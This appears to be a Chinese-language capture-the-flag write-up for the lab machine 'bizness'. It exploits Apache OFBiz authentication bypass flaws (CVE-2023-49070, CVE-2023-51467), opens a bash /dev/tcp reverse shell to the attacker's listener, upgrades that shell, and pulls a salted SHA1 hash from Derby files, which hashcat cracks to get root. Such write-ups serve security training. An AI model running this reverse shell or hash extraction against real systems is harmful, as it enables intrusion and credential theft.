Enumeration
nmap
用 nmap 扫描了常见的端口,发现对外开放了22,80,443
┌──(kali㉿kali)-[~]
└─$ nmap 10.10.11.252
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-08 01:21 EST
Nmap scan report for 10.10.11.252
Host is up (0.36s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open httpsNmap done: 1 IP address (1 host up) scanned in 41.55 seconds
访问 80 端口,重定向至域名,将其添加至 /etc/hosts 中
添加索引后访问系统,在页面最底部发现 Powerd by Apache OFBiz
使用目录扫描工具发现了 /control/login 接口,在登录页面可以看到 OFBiz的版本为 18.12
Exploitation
Apache OFBiz漏洞
搜索该版本发现存在两个漏洞,漏洞编号分别为 CVE-2023-49070 和 CVE-2023-51467
Apache OFBiz 是一个用于企业流程自动化的开源产品。它包括 ERP、CRM、电子商务/电子商务、供应链管理和制造资源规划的框架组件和业务应用程序。OFBiz 为可靠、安全和可扩展的企业解决方案提供了基础和起点。下面这篇文章详细分析了这两个漏洞
漏洞分析Apache OFBiz Authentication Bypass Vulnerability (CVE-2023-49070 and CVE-2023-51467) - vsociety (vicarius.io)
在搜索漏洞 PoC 时发现了一个 gui 工具,包含了两个漏洞,用起来是真方便啊,只需要把目标 url 和要执行的命令放进去,exploit 一下结果就出来了
一开始使用了非常常见的反向 shell 连接指令
/bin/bash -i >& /dev/tcp/10.10.14.19/4444 0>&1
然后得到了下面的结果,可以执行 id 和 whoami 命令,看到第 5 行和第 6 行有两句话,查了一下。bash: cannot set terminal process group (727): Inappropriate ioctl for device。这个错误通常出现在bash shell中,当bash尝试为一个终端设置进程组时发生错误。Inappropriate ioctl for device表明bash尝试对一个不支持所需ioctl操作(输入/输出控制操作)的设备执行操作。这可能是因为bash在没有控制终端的环境中运行,例如通过某些网络服务启动的bash shell。bash: no job control in this shell。这个警告表明当前bash shell没有作业控制功能。作业控制通常允许用户在前台和后台之间切换命令的执行,并管理这些命令的状态(例如挂起、恢复或终止它们)。当bash在没有控制终端的环境中运行时,例如通过SSH的某些配置或某些非交互式服务,作业控制功能通常会被禁用
┌──(kali㉿kali)-[~]
└─$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.19] from (UNKNOWN) [10.10.11.252] 56216
bash: cannot set terminal process group (727): Inappropriate ioctl for device
bash: no job control in this shell
ofbiz@bizness:/opt/ofbiz$ id
id
uid=1001(ofbiz) gid=1001(ofbiz-operator) groups=1001(ofbiz-operator)
ofbiz@bizness:/opt/ofbiz$ whoami
whoami
ofbiz
ofbiz@bizness:/opt/ofbiz$ help
本来想放弃,但是想了想能执行 id 和 whoami 命令,执行不了其他的,会不会是次数的问题,比如只能执行多少次等等。所以重新获取一个 shell 后,直接用 python 语句升级 shell,然后这个困扰我的问题暂时解决了,可我还是不清楚到底发生了什么
┌──(kali㉿kali)-[~]
└─$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.19] from (UNKNOWN) [10.10.11.252] 55692
bash: cannot set terminal process group (727): Inappropriate ioctl for device
bash: no job control in this shell
ofbiz@bizness:/opt/ofbiz$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
ofbiz@bizness:/opt/ofbiz$ ^Z
zsh: suspended nc -nvlp 4444┌──(kali㉿kali)-[~]
└─$ stty raw -echo;fg
[1] + continued nc -nvlp 4444reset
reset: unknown terminal type unknown
Terminal type? screen
Privilege Escalation
使用 linpeas.sh 搜索系统漏洞,发现了一些数据库文件
/opt/ofbiz/runtime/data/derby/ofbiz/seg0/c6850.dat /opt/ofbiz/runtime/data/derby/ofbiz/seg0/cde61.dat /opt/ofbiz/runtime/data/derby/ofbiz/seg0/c2e1.dat /opt/ofbiz/runtime/data/derby/ofbiz/seg0/c14ad1.dat /opt/ofbiz/runtime/data/derby/ofbiz/seg0/cde51.dat /opt/ofbiz/runtime/data/derby/ofbiz/seg0/cce71.dat /opt/ofbiz/runtime/data/derby/ofbiz/seg0/c6861.dat /opt/ofbiz/runtime/data/derby/ofbiz/seg0/cce61.dat
搜索所有 .dat 文件并将其重定向到 datfile 文件夹中
find / -name '*.dat' -type f 2>/dev/null > /tmp/datfile
在其中搜索 SHA 字符串时,发现了下面的内容
"$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I$SHA = 表示 SHA1 哈希值
$d = 盐值
$uP0_QaVBpDWFeo8-dRzDqRwXQ2I = bas64编码的哈希值
使用 hashcat 破解,提前将 hash 解码并转为 16 进制,然后使用 hashcat 破解 hash 值,得到密码 monkeybizness,在切换到 root 即可